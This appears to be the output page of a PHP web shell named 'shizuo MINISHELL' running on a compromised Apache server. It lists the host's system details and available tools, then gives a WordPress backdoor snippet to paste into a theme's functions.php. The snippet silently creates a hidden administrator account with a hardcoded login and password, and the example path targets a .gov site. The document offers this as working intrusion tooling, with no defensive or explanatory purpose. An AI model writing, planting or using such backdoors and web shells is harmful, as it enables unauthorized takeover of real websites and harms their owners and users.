shizuo MINISHELL
:/snap/bare/5/tmp/ [
Information Server
System: Linux polkesmed 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Software:Apache/2.4.52 (Ubuntu)
PHP Version:8.2.26 PHP Os: Linux
Server IP:118.97.164.21
Your IP:150.150.151.1
User:www-data (33) | Group: www-data (33)
Safe Mode:OFF
MYSQL:OFF | PERL: ON | PYTHON: OFF | WGET: ON | CURL: ON | GCC: OFF | PKEXEC: OFF
Disable Function:
Software:
PHP Version:
Server IP:
Your IP:
User:
Safe Mode:
MYSQL:
Disable Function:
NONE
function shizuoadmin(){
$login = 'shizuo';
$passw = 'shizuo#1337';
$email = 'g00glesec@proton.me';
if ( !username_exists( $login ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $login, $passw, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
add_action('init','shizuoadmin');
example: https://site.gov/wp-content/themes/[theme name/functions.php
Name | Type | Last Edit | Size | Owner |
Permission | Action |
.. |
© Shizuo1337